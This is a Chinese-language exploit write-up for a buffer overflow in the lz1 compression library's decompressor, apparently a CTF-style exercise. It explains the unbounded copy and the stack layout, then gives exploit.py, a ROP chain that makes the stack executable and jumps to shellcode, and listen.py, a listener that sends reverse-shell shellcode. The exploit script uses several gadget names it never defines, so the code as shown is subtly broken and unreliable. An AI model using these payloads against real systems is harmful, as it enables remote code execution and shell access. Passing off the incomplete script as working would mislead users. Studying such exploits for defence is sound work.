LZ1压缩库缓冲区溢出漏洞分析与利用

本文详细分析了lz1压缩库中的缓冲区溢出漏洞,通过精心构造恶意压缩数据实现栈溢出,并利用ROP链实现代码执行,最终获得反向shell的完整攻击过程。

Summer Pwnables: lz1解决方案

TL;DR 🚀

我们将一个简单的压缩库变成了shell投递服务!本报告通过制作恶意压缩数据来利用lz1/lz77解压中的缓冲区溢出,溢出栈并链接ROP小工具以实现代码执行。

你是否曾想过一个简单的文件压缩工具如何能让你获得系统控制权?系好安全带,我们将把andyherbert的无辜lz1压缩器变成我们个人的shell投递服务!🎭

GitHub上有一个已关闭的问题,afl-fuzz发现了会导致程序崩溃的输入。虽然可能使用这些崩溃来发现错误,但如果你查看解压函数并理解lz1(也称为lz77)的工作原理,发现缓冲区溢出并不太难。

技术深度分析

在lz1代码中,指针是一个uint16_t值。你可能会认为我们应该使用8位(1字节)表示位置,8位(1字节)表示长度,但实际上我们可以为位置和长度设置位大小。如果需要,完全可以给位置4位,长度12位 - 真正的压缩算法正是这样做的。

原始代码使用malloc设置压缩和解压文本缓冲区:

1
2
3
4
5
6
uint32_t file_lz77_decompress (char *filename_in, char *filename_out)
{
    compressed_size = fsize(in);
    compressed_text = malloc(compressed_size); // [1] compressed_text的内存
    uncompressed_text = malloc(uncompressed_size); // [2] uncompressed_text的内存
}

情节转折:结果在堆内存中利用这个漏洞是死路一条🚫,所以我改用alloca来获得栈分配。有时候你必须转向!

1
2
3
4
5
6
7
8
9
uint32_t lz77_decompress (uint8_t *compressed_text, uint8_t *uncompressed_text)
{
    for(coding_pos = 0; coding_pos < uncompressed_size; ++coding_pos) // [1] coding_pos在这里有边界
    {
        if(pointer_pos)
            for(pointer_offset = coding_pos - pointer_pos; pointer_length > 0; --pointer_length)
                uncompressed_text[coding_pos++] = uncompressed_text[pointer_offset++]; // [2] 但这里没有边界,所以可能溢出
    }
}

注意uncompressed_sizecompressed_text前4字节的整数值。由于我们可以控制这个值,可以使其小于指针中长度的大小。如果这样做,就可能在上面的lz77_decompress函数中的[2]处溢出uncompressed_text

内存布局:我们的战场

在栈中,内存分配形成以下结构:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
┌──────────────────────────────────────┐
│ uncompressed_text [uncompressed_size]│
│        (对齐到8字节)                  │
├──────────────────────────────────────┤
│ compressed_text [compressed_size]    │
│        (对齐到8字节)                  │
├──────────────────────────────────────┤
│ uncompressed_size (4字节)            │
│ compressed_size (4字节)              │
│ in FILE (8字节)                      │
│ out FILE (8字节)                     │
├──────────────────────────────────────┤
│ 保存的rbp                            │
│ 返回地址                             │
└──────────────────────────────────────┘

所有变量都没有重新排序,因为代码是在没有栈保护的情况下编译的。

利用

我使用的ROP链将调用_dl_make_stacks_executable来设置栈为rwx。这需要__stack_prot为7,但在glibc 2.39(我编译使用的版本)中,__stack_prot位于只读区域😂。不过有个技巧,我们可以跳过使用__stack_prot的部分,而是使用我们自己的rdx值,我们将其设置为7。我们还需要将rbx设置为environ,因为rsi将被设置为[rbx]。函数的其余部分将处理保护栈。一旦栈可执行,我们就可以返回到jmp rsp小工具来运行一些shellcode。

exploit.py:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python3

from pwn import *
import codecs
import warnings

context.arch = 'amd64'

ret = 0x00000000004018da
pop_rdi_rbp = 0x000000000040dfa1
dl_make_stack_exec = 0x4647d0
environ = 0x4b58d0
jmp_rsp = 0x00000000004441d6
pop_rax = 0x00000000004027c5
pop_rcx = 0x000000000040266b
pop_rbx = 0x000000000046da97
pop_rsi_rbp = 0x000000000040d402

rop_payload = p64(0x2000)*2 + p64(xchg_edx_eax_xor_eax_eax) + p64(pop_rax) + p64(7) + p64(add_edx_eax_pop_rbx) + p64(environ) + p64(dl_make_stack_exec_gadget) + p64(ret)*5 + p64(jmp_rsp) + asm('''jmp $-0x2a0''')

listen.py(这将触发反向shell):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
#!/usr/bin/env python3

from pwn import *

context.arch = 'amd64'

l = listen(8080, "0.0.0.0")
l.wait_for_connection()

sc = shellcraft.dup2('rdi', 0)
sc += shellcraft.dup2('rdi', 1)
sc += shellcraft.dup2('rdi', 2)
sc += shellcraft.sh()
sc = b'\x90'*0x100 + asm(sc)

l.sendline(sc)
l.interactive()

测验答案

测验1答案: 情节转折!从技术上讲,lz1也将普通字节编码为指针。所以"ABC"将被压缩为<position:0><length:0>A<position:0><length:0>B<position:0><length:0>C。有点傻,对吧?🤷‍♂️

测验2答案: 这是思维的转折!在ABC<position:3><length:6>中,在解压过程中,它逐字节解压。在3个字节解压后,类似于ABCABC<position:3><length:3>,然后变成ABCABCABC!第一次理解时有点难以理解。🤯📝

资源和链接

  • 原始代码:https://github.com/andyherbert/lz1
  • 关于lz77的优秀YouTube视频:https://www.youtube.com/watch?v=goOa3DGezUA
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计